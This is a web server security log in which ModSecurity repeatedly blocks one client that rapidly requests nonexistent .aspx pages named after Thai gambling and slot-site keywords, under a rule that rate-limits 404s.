[Thu Jan 29 18:10:31.303931 2026] [:error] [pid 20580:tid 20665] [client 95.91.110.210:2830] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%82%E0%B8%88%E0%B9%8A%E0%B8%81%E0%B9%80%E0%B8%81%E0%B8%AD%E0%B8%A3%E0%B9%8C168.aspx"] [unique_id "aXsyF5CZ5HHdXPmeL58GewAAAoA"]
[Thu Jan 29 18:10:33.467613 2026] [:error] [pid 20576:tid 20594] [client 95.91.110.210:3682] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%9520%E0%B8%A3%E0%B8%B1%E0%B8%9A100.aspx"] [unique_id "aXsyGSrDZws_FlQGi9dVPwAAAcg"]
[Thu Jan 29 18:10:35.897873 2026] [:error] [pid 20580:tid 20686] [client 95.91.110.210:3686] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%9569.aspx"] [unique_id "aXsyG5CZ5HHdXPmeL58GggAAApI"]
[Thu Jan 29 18:10:39.104058 2026] [:error] [pid 20578:tid 20633] [client 95.91.110.210:3696] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95888%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87.aspx"] [unique_id "aXsyHw6UX7yOMwQFiycWVQAAAhQ"]
[Thu Jan 29 18:10:41.326442 2026] [:error] [pid 20580:tid 20680] [client 95.91.110.210:3702] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95noname%20888.aspx"] [unique_id "aXsyIZCZ5HHdXPmeL58GiwAAAow"]
[Thu Jan 29 18:10:45.499695 2026] [:error] [pid 19070:tid 19118] [client 95.91.110.210:38704] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95xo168.aspx"] [unique_id "aXsyJbou83lIon_aKgbHtwAAAEw"]
[Thu Jan 29 18:10:54.050618 2026] [:error] [pid 19071:tid 19147] [client 95.91.110.210:38706] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%8A%E0%B8%AD%E0%B8%95%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87.aspx"] [unique_id "aXsyLpfa8Ix5wWmtmJxmLAAAAI4"]
[Thu Jan 29 18:11:01.487528 2026] [:error] [pid 20578:tid 20630] [client 95.91.110.210:30282] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%B9%E0%B8%95%E0%B8%A3%E0%B8%A2%E0%B8%B5%E0%B9%88%E0%B8%81%E0%B8%B5%20lottovip.aspx"] [unique_id "aXsyNQ6UX7yOMwQFiycWaQAAAhE"]
[Thu Jan 29 18:11:03.703669 2026] [:error] [pid 20486:tid 20509] [client 95.91.110.210:43108] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%B9%E0%B8%95%E0%B8%A3%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20pg%20%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B8%9F%E0%B8%A3%E0%B8%B5.aspx"] [unique_id "aXsyN3gqSZb6GBx5nnPVmAAAARQ"]
[Thu Jan 29 18:11:07.060078 2026] [:error] [pid 19069:tid 19094] [client 95.91.110.210:43110] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%AB%E0%B8%A7%E0%B8%A2%E0%B9%81%E0%B8%81%E0%B8%A3%E0%B8%99%E0%B8%94%E0%B9%8C%E0%B8%94%E0%B8%A3%E0%B8%B2%E0%B8%81%E0%B9%89%E0%B8%AD%E0%B8%99%204d.aspx"] [unique_id "aXsyO_DHsRM4BJ9a4QsrFQAAABA"]
[Thu Jan 29 18:11:09.444370 2026] [:error] [pid 20578:tid 20615] [client 95.91.110.210:43114] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B9%80%E0%B8%81%E0%B8%A1%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20%E0%B8%84%E0%B9%88%E0%B8%B2%E0%B8%A2%20pg%20%E0%B9%83%E0%B8%AB%E0%B8%A1%E0%B9%88%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94.aspx"] [unique_id "aXsyPQ6UX7yOMwQFiycWawAAAgI"]
[Thu Jan 29 18:11:11.675364 2026] [:error] [pid 20580:tid 20682] [client 95.91.110.210:43118] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B9%80%E0%B8%81%E0%B8%A1%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%AD%E0%B8%AD%E0%B8%99%E0%B9%84%E0%B8%A5%E0%B8%99%E0%B9%8C.aspx"] [unique_id "aXsyP5CZ5HHdXPmeL58GsgAAAo4"]
[Thu Jan 29 18:11:13.832103 2026] [:error] [pid 20486:tid 20497] [client 95.91.110.210:10854] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B8%AA%E0%B8%B9%E0%B9%88%E0%B8%A3%E0%B8%B0%E0%B8%9A%E0%B8%9Ajoker888.aspx"] [unique_id "aXsyQXgqSZb6GBx5nnPVrAAAAQg"]
[Thu Jan 29 18:13:12.357663 2026] [:error] [pid 20578:tid 20625] [client 95.91.110.210:25660] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%AD%E0%B8%AD%E0%B8%99%E0%B9%84%E0%B8%A5%E0%B8%99%E0%B9%8C.aspx"] [unique_id "aXsyuA6UX7yOMwQFiycW_QAAAgw"]
[Thu Jan 29 18:13:14.510097 2026] [:error] [pid 20579:tid 20644] [client 95.91.110.210:6342] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXsyujVXNopcNyjJc9X9igAAAkM"]
[Thu Jan 29 18:13:18.307730 2026] [:error] [pid 20579:tid 20658] [client 95.91.110.210:6356] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AB%E0%B8%A7%E0%B8%A2%E0%B8%AD%E0%B8%AD%E0%B8%99%E0%B9%84%E0%B8%A5%E0%B8%99%E0%B9%8C888.aspx"] [unique_id "aXsyvjVXNopcNyjJc9X9kAAAAlE"]
[Thu Jan 29 18:13:20.561528 2026] [:error] [pid 19177:tid 19202] [client 95.91.110.210:6366] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B9%82%E0%B8%88%E0%B9%8A%E0%B8%81%E0%B9%80%E0%B8%81%E0%B8%AD%E0%B8%A3%E0%B9%8C123.aspx"] [unique_id "aXsywHipGz0PT8TrQv51AgAAANc"]
[Thu Jan 29 18:13:22.751246 2026] [:error] [pid 20576:tid 20608] [client 95.91.110.210:6378] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B9%82%E0%B8%9B%E0%B8%A3%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%97%E0%B8%B8%E0%B8%99%E0%B8%99%E0%B9%89%E0%B8%AD%E0%B8%A2.aspx"] [unique_id "aXsywirDZws_FlQGi9dVzAAAAdY"]
[Thu Jan 29 18:13:24.916033 2026] [:error] [pid 20486:tid 20492] [client 95.91.110.210:36254] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B9%82%E0%B8%9B%E0%B8%A3%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXsyxHgqSZb6GBx5nnPWZAAAAQM"]
[Thu Jan 29 18:13:27.236671 2026] [:error] [pid 19177:tid 19201] [client 95.91.110.210:36264] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/10%E0%B8%A3%E0%B8%B1%E0%B8%9A%20100%20%E0%B8%97%E0%B9%8D%E0%B8%B2%20300%20%E0%B8%96%E0%B8%AD%E0%B8%99%E0%B9%84%E0%B8%94%E0%B9%89100%20%E0%B8%A7%E0%B8%AD%20%E0%B8%A5%20%E0%B9%80%E0%B8%A5%E0%B9%87%20%E0%B8%95.aspx"] [unique_id "aXsyx3ipGz0PT8TrQv51BwAAANY"]
[Thu Jan 29 18:13:30.047689 2026] [:error] [pid 20579:tid 20666] [client 95.91.110.210:36276] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/1xbet%20%E0%B9%84%E0%B8%97%E0%B8%A2.aspx"] [unique_id "aXsyyjVXNopcNyjJc9X9mAAAAlc"]
[Thu Jan 29 18:13:33.466733 2026] [:error] [pid 19071:tid 19143] [client 95.91.110.210:36290] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/20%E0%B8%A3%E0%B8%B1%E0%B8%9A100.aspx"] [unique_id "aXsyzZfa8Ix5wWmtmJxnAQAAAIo"]
[Thu Jan 29 18:13:36.758619 2026] [:error] [pid 20580:tid 20680] [client 95.91.110.210:3758] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/888%20%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXsy0JCZ5HHdXPmeL58HVwAAAow"]
[Thu Jan 29 18:13:39.025880 2026] [:error] [pid 19071:tid 19137] [client 95.91.110.210:3760] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "aXsy05fa8Ix5wWmtmJxnBQAAAIQ"]
[Thu Jan 29 18:13:42.091914 2026] [:error] [pid 19069:tid 19078] [client 95.91.110.210:3768] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "aXsy1vDHsRM4BJ9a4Qsr4AAAAAA"]
[Thu Jan 29 18:13:44.306818 2026] [:error] [pid 20578:tid 20631] [client 95.91.110.210:37634] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "aXsy2A6UX7yOMwQFiycXEwAAAhI"]
[Thu Jan 29 18:13:47.164164 2026] [:error] [pid 20519:tid 20548] [client 95.91.110.210:37638] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "aXsy2wo4s4fyROrkyRnJEgAAAYA"]
[Thu Jan 29 18:13:50.082924 2026] [:error] [pid 19177:tid 19189] [client 95.91.110.210:37640] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aXsy3nipGz0PT8TrQv51JwAAAMo"]
[Thu Jan 29 18:13:52.337033 2026] [:error] [pid 20576:tid 20601] [client 95.91.110.210:37656] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/gclub%20%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%20%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94.aspx"] [unique_id "aXsy4CrDZws_FlQGi9dV4wAAAc8"]
[Thu Jan 29 18:13:54.495691 2026] [:error] [pid 20576:tid 20602] [client 95.91.110.210:2712] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/lotto%20vip%20%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B8%AA%E0%B8%B9%E0%B9%88%E0%B8%A3%E0%B8%B0%E0%B8%9A%E0%B8%9A.aspx"] [unique_id "aXsy4irDZws_FlQGi9dV6gAAAdA"]
[Thu Jan 29 18:13:56.578338 2026] [:error] [pid 20578:tid 20627] [client 95.91.110.210:2726] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/m98%20%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2.aspx"] [unique_id "aXsy5A6UX7yOMwQFiycXGgAAAg4"]
[Thu Jan 29 18:13:59.811440 2026] [:error] [pid 19069:tid 19084] [client 95.91.110.210:2738] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/mm88%20%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2.aspx"] [unique_id "aXsy5_DHsRM4BJ9a4Qsr_QAAAAY"]
[Thu Jan 29 18:14:02.028719 2026] [:error] [pid 20486:tid 20492] [client 95.91.110.210:2750] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/noname%20%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXsy6ngqSZb6GBx5nnPWgwAAAQM"]
[Thu Jan 29 18:14:04.180167 2026] [:error] [pid 20579:tid 20663] [client 95.91.110.210:60522] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/noname%20auto%20%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXsy7DVXNopcNyjJc9X9tQAAAlU"]
[Thu Jan 29 18:16:21.613331 2026] [:error] [pid 20519:tid 20570] [client 95.91.110.210:38026] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "aXszdQo4s4fyROrkyRnJfgAAAZY"]
[Thu Jan 29 18:16:23.786030 2026] [:error] [pid 20486:tid 20496] [client 95.91.110.210:49410] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/pgslot.aspx"] [unique_id "aXszd3gqSZb6GBx5nnPXFAAAAQc"]
[Thu Jan 29 18:16:26.580323 2026] [:error] [pid 20579:tid 20642] [client 95.91.110.210:49420] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/pgslot99.aspx"] [unique_id "aXszejVXNopcNyjJc9X-FAAAAkE"]
[Thu Jan 29 18:16:28.829429 2026] [:error] [pid 20578:tid 20617] [client 95.91.110.210:49430] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/pxj%20%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B8%AA%E0%B8%B9%E0%B9%88%E0%B8%A3%E0%B8%B0%E0%B8%9A%E0%B8%9A.aspx"] [unique_id "aXszfA6UX7yOMwQFiycXmAAAAgQ"]
[Thu Jan 29 18:16:32.050974 2026] [:error] [pid 19069:tid 19095] [client 95.91.110.210:49442] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "aXszgPDHsRM4BJ9a4QsszwAAABE"]
[Thu Jan 29 18:16:38.391421 2026] [:error] [pid 19069:tid 19100] [client 95.91.110.210:23818] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "aXszhvDHsRM4BJ9a4Qss2gAAABY"]
[Thu Jan 29 18:16:43.064662 2026] [:error] [pid 19071:tid 19133] [client 95.91.110.210:23830] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/sbobet%20%E0%B8%A1%E0%B8%B7%E0%B8%AD%E0%B8%96%E0%B8%B7%E0%B8%AD777.aspx"] [unique_id "aXszi5fa8Ix5wWmtmJxnsgAAAIA"]
[Thu Jan 29 18:16:45.298485 2026] [:error] [pid 20578:tid 20633] [client 95.91.110.210:49104] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "aXszjQ6UX7yOMwQFiycXqgAAAhQ"]
[Thu Jan 29 18:16:47.546806 2026] [:error] [pid 19177:tid 19180] [client 95.91.110.210:49114] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/slot%20joker.aspx"] [unique_id "aXszj3ipGz0PT8TrQv52CQAAAME"]
[Thu Jan 29 18:16:49.740252 2026] [:error] [pid 20578:tid 20613] [client 95.91.110.210:49116] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aXszkQ6UX7yOMwQFiycXrgAAAgA"]
[Thu Jan 29 18:16:51.659869 2026] [:error] [pid 20580:tid 20673] [client 95.91.110.210:49132] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aXszk5CZ5HHdXPmeL58IUAAAAoU"]
